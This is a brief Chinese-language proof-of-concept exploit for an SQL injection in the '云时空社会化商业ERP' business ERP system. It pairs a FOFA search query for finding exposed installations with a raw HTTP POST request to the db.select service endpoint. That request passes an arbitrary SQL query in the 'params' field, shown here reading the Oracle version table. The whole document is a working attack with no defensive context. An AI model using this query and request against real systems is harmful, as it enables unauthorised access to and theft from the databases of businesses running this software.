云时空商业ERP params SQL注入

fofa:

title="云时空社会化商业ERP系统"

poc:

POST /slogin/service?service=db.select HTTP/1.1
Host: 
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 

params=%7B%22sql%22%3A%22SELECT+%2A+FROM+V%24VERSION%22%7D